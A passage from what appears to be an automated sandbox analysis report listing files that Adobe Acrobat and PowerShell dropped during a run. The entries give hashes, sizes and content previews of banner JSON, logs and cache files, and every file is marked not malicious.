Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3720b299-fb76-4a19-ab93-2ea9c912904c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708386624,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.310297892567471
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJvVgHVoZcg1vRcR0YqWdfCoAvJfFldPeUkwRe9:YvXKXJvVDZc0vFIGz8Ukee9
MD5:	C1DAD5C07732A1F39517EE90FA352F41
SHA1:	C3C4525D34BA3F8DBFED2D3B9CE391B17609BE07
SHA-256:	24925C695A59A678C853A83BBCE30F4B81393D22520B3ED0B73544F157144557
SHA-512:	E46E318D3963C53237158E68A6B5C4EF5D6510838C4A12A55F326D2D52F27CECCD182704B08C80A859E37369C7C0565B7AE1AF2D483B4F70234C5F9B8DAA7EDC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3720b299-fb76-4a19-ab93-2ea9c912904c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708386624,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.324289311466127
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJvVgHVoZcg1vRcR0YqWdfCoAvJfzdPeUkwRe9:YvXKXJvVDZc0vFIGb8Ukee9
MD5:	CC7DA583F102193481C582079ECCC7B9
SHA1:	68B88B215B5904405C79303ED9D1F2262B17324C
SHA-256:	F6FA4F46A4438783290E9F59DBB96897C818FCF7D30A338848F890A25D50A4DC
SHA-512:	6AB643DA41E10397595F9A41E365F60CA2C5FBB4B317C8C5282E0E346FF63E32BDD28E195F32E605042B9ACF2817C2F054DEF13D775A18D3E04C1DCA4A811D9B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3720b299-fb76-4a19-ab93-2ea9c912904c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708386624,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.305312795236512
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJvVgHVoZcg1vRcR0YqWdfCoAvJfYdPeUkwRe9:YvXKXJvVDZc0vFIGg8Ukee9
MD5:	95DCB27C0B2E3FB795936B24DCCABD2C
SHA1:	81B6283DAB768DB20B070E9BE555E7E06944F6EB
SHA-256:	1D5E0A3E6ABA385CD98DB22217B5827D69F31291AE5C6EC391271AB27FBA02A7
SHA-512:	4B47C161DEF834545D75E0B1840D8A23D2292EE541202647FA52F89FBD869DEEE6C5F3DEEB09A4443B255C55458702B2A9BCF6EBF9434C9CAA0F34D13552B67E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3720b299-fb76-4a19-ab93-2ea9c912904c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708386624,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.29145670318679
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJvVgHVoZcg1vRcR0YqWdfCoAvJf+dPeUkwRe9:YvXKXJvVDZc0vFIG28Ukee9
MD5:	9029BF5338DF3E2E39723703ED8B0426
SHA1:	0809028EBFECF3FC2C1F36FEC5202317662512EF
SHA-256:	31C52FB9961BB829D47C3ADA0BA37D678D7B2C1CF3B9EB8A868142B7410DD065
SHA-512:	AE821954471CCB738755B9EB04890E11FE054FCA6DD96905FDE161E2D785CE2B902EA8E7BE53429839897FAAD68BA30800A5666878E570AE10BB1EA20A588518
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3720b299-fb76-4a19-ab93-2ea9c912904c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708386624,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.288823378853768
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJvVgHVoZcg1vRcR0YqWdfCoAvJfbPtdPeUkwRe9:YvXKXJvVDZc0vFIGDV8Ukee9
MD5:	6E6E5EB9514FF3132F502D50AC159356
SHA1:	A4B432E2F4C98AC0E01BC593B13D9DB3273BC023
SHA-256:	038E7A3656652C21CE0607B12380511EB68B8CF979BE67C3556FB57AC875C803
SHA-512:	9C93ED514A12F813D10A144C3C007CA4D8B22A96D4066147E5361E05B28FE056A67D212ED9938ACDD004C83312DC2E6391B856321BCA66BE922E33BBF0C25E5B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3720b299-fb76-4a19-ab93-2ea9c912904c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708386624,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.293844234096855
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJvVgHVoZcg1vRcR0YqWdfCoAvJf21rPeUkwRe9:YvXKXJvVDZc0vFIG+16Ukee9
MD5:	0E157A197F0B2064B4F2DCD48F2C8E4C
SHA1:	C5BEFC494E5FFA8E51FA1A66902462BBC2CEA6B1
SHA-256:	81A78FD0B46E03F012275C288B0CC8A06DCB5058C84E25905AE695BCB4600F38
SHA-512:	646F9CAA57CFFA90D8576E429580E5BF7AA41A0FC3EE8CFF526A1EF7E328514EED76C78BF1E9A1ABFC3E31BB87276D66FDA99D7AC118B6248F0402F5C1584871
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3720b299-fb76-4a19-ab93-2ea9c912904c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708386624,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.660999070539349
Encrypted:	false
SSDEEP:	24:Yv6XrzvLamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSMr:YvITBgkDMUJUAh8cvMA
MD5:	43F8FD0C72DEDAE0A75D865483266BC9
SHA1:	2EBACCEBCA914D0DECD750321371DA16B1B2E446
SHA-256:	DE1776C2F48C06D6FE94AA4920A91F2F910A3F7A771DC026D9015668A9B472B8
SHA-512:	03839030CE504F1F32E2BC876D9190321738018AB3C42D4A234205B6E7AD63A5C5DA4FABFC897C3BAC4DD1D44729F77FD781FD8955AF92B00D19F8DB33B554F4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3720b299-fb76-4a19-ab93-2ea9c912904c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708386624,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.271201806891857
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJvVgHVoZcg1vRcR0YqWdfCoAvJfshHHrPeUkwRe9:YvXKXJvVDZc0vFIGUUUkee9
MD5:	6202AC59F8C9E62F341F915B34020817
SHA1:	513C2406EA8E580ADBAC50157B84801AA871E58A
SHA-256:	3B0DF1B2F9650D31391B18EC453F9CE358DA836F7CC214C09B20EF690AFF274C
SHA-512:	DC24C1D23982E20D886A6823659754300A8772C1315F72E749D622675E6A840B21E714E08699F7E1D15A5F71538B50915A986A178F713B1E7ED2E9249411DD25
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3720b299-fb76-4a19-ab93-2ea9c912904c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708386624,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.274328066070817
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJvVgHVoZcg1vRcR0YqWdfCoAvJTqgFCrPeUkwRe9:YvXKXJvVDZc0vFIGTq16Ukee9
MD5:	A7760D9CA74A7A5BF68B451A083D18B4
SHA1:	076C184ACE56AF77F2FD7D560A8E3C1DA56E4FC9
SHA-256:	542C0F3D67520CAAEF20276C761E1C85387E000485A401F91BF03E914CFD606B
SHA-512:	17F02E7018212C935400024758F1EB91D57E2BC37E7360E7BF1B3D8F792C6572E7330B7D9FE9363BEC06CFD562E0B014A73A96596EFF2320694F10D5A7A1E9C9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3720b299-fb76-4a19-ab93-2ea9c912904c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708386624,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1293683334695235
Encrypted:	false
SSDEEP:	24:YRnZB10afi3ay2DcL+o/6V/B/MOcjYrj0SELQ2Q2LS2Cbe3VcT1zX9ZPDhv5v9eZ:YdZ1Z26PEjUvRA1VcT1zX9ZPDd19W
MD5:	FFD1E461A48BEAA92C0FB23C7AF170C9
SHA1:	964B9BA7E5AE07B23C731756CC15092CD9D78BB8
SHA-256:	FC362F531170EED24758A7F4A2D135EC33440D434DCF75E4D5467AC664E345D4
SHA-512:	260838F3BEA92F1716ADEDABF909218B99F3F6255246811CFE9D020516BD266289BF68E7B92CEE7BD1F84856DB825D44CB03B1FEB601DE8B3AE41C9AB44A78A1
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"26cc2f416061a31b717ccbc46b2c14ae","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736530006000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"c05bf890158036384c2007d217f806b2","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736530006000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"085fb9a2e3657e745b5aadb3c499b65b","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736530006000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"6c1d22a37751eb66f76ba1841bbad8c6","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736530006000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"57aa62136ff328f19624f1ba1f3e3fc5","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736530006000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"c984140abd5de3d3033848c2825c5382","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1873604079136668
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUWSvR9H9vxFGiDIAEkGVvp8:lNVmswUUUUUUUUW+FGSItQ
MD5:	6619627352A98BC1CB07D63CA33756F1
SHA1:	936BCDDDD1D7EED89AD5C2E77C63155933447D5D
SHA-256:	33FBEC59C4A61B22E0DA1B65623DF53DEDD5380DFD4E478CCDC6189455EB4A69
SHA-512:	4FDE18232206E687CA82E1107F93133E672439FAF459ECA650BAC66F58C53AE51EB6C2D6FB1FEAF30FC878C4ECFE287E87A857916AA7062AB7CE87F1C67F0B66
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6075300161314088
Encrypted:	false
SSDEEP:	48:7M4KUUUUUUUUUU0vR9H9vxFGiDIAEkGVvFqFl2GL7msY:78UUUUUUUUUUkFGSItPKVmsY
MD5:	25DE3027B615666F1E9255691288C36E
SHA1:	88FCA4DA01ABA46F7EEA00389ECA5682F169DBEA
SHA-256:	15BFE7CBE84D232245DC188D1BF81B3DA35A3465FB26B6FDB6D3C37FC908BE2A
SHA-512:	9BB897733AAC3680269997F96DAC8B59CF894E6522071A3A29D6C6BFD5B07CBCFCB96C303EA3D596CC74E8E7F89011FDBE43CCD2DE98F505EB3CD519B106A975
Malicious:	false
Preview:	.... .c........C......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgTpbkwNsx5MJJ7dLJR5SrgA4jYyu:6a6TZ44ADEVbkwNu6J9xjK
MD5:	34FF0AB28970C98E627BEED620AAAB92
SHA1:	6DF39DCD027D1875363694CF2047CC5786C551EC
SHA-256:	D8287F10E68EE2EEE4FC7FB69CD2760F84D444BCAB7B19730AB471CF64EF4F1C
SHA-512:	A6C5D7B51AAB695D24E9C08C2430D8F11E512C41ED74E3DB85CAEA92FBE8DC7F1459F2CE1453B744595AB3FC939A138B20A4CFAA733C2638FA6082CE85940B88
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIb2fd1.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5097251598291805
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE3Ce:Qw946cPbiOxDlbYnuRK+bD3T
MD5:	0AF661FDC2AA0C2DDBC6B89EA9B3ECD6
SHA1:	E5B196D5C3699F1EEA1BB273F6FB9BE89F70BCC9
SHA-256:	7FE8B0FF70483A0CE00E08AEEF8EFE138F950FE954E7D06766EFC7012384A3DA
SHA-512:	5A9580DA18453142238C8ECF79BDCF157B706FCE251FD9A900112EF194654A5E35C39A6370AE4F0B23C3630FE179A852614861F1007866D613200F84DDE14F3F
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.2.:.2.6.:.4.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d3hjpqe4.zc2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wwbvzgts.qih.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 12-26-40-358.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.323961866784484
Encrypted:	false
SSDEEP:	384:tJvE3JRx8ZIXosVveBzwNJqHtlykL8n7cQndbptLBptEWTtQ1Hay/fefOnGUOzot:WzzC
MD5:	5A6C8F1F63183FAFEDC98287E4EC007D
SHA1:	2B2969F456D36EF24272B46A8212B8FF62B4D2D9
SHA-256:	FA34855FEA2AD7488DCCBBAEF93D2FC7BD278C58F9033C8C97A36401C5C41E8C
SHA-512:	4F96DAEE65040929612D63AD5A43EC3C92D1F3E8A78A9AB1FC4D86BE6D48A4A2133467C975FB24F7FCBD4D4F73C73F78D882EBFA0C4A0F9F38FECAC4D1699EB5
Malicious:	false
Preview:	SessionID=4d31d3ee-93f4-4701-91ed-8dce0e691b4a.1736530000385 Timestamp=2025-01-10T12:26:40:385-0500 ThreadID=7876 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=4d31d3ee-93f4-4701-91ed-8dce0e691b4a.1736530000385 Timestamp=2025-01-10T12:26:40:395-0500 ThreadID=7876 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=4d31d3ee-93f4-4701-91ed-8dce0e691b4a.1736530000385 Timestamp=2025-01-10T12:26:40:395-0500 ThreadID=7876 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=4d31d3ee-93f4-4701-91ed-8dce0e691b4a.1736530000385 Timestamp=2025-01-10T12:26:40:395-0500 ThreadID=7876 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=4d31d3ee-93f4-4701-91ed-8dce0e691b4a.1736530000385 Timestamp=2025-01-10T12:26:40:395-0500 ThreadID=7876 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.388501865751856
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rt:6M
MD5:	CE84F55955997F193125E0BD9136D3C1
SHA1:	5817F3C68A3912EE91A679CCED724928430A1FAD
SHA-256:	1704626F6A98B56E8A8BF93BF636802B8104E15EBCE5E4374B92337554D5D186
SHA-512:	FA1FFC509A85010985954AEC0A093B51917CE295C918A7EC4E77423142A9BC8788B73A637ABF687EC5F4753261A32B2998B84358DD9AE6FBDDDEAC73BEF98A3F
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-
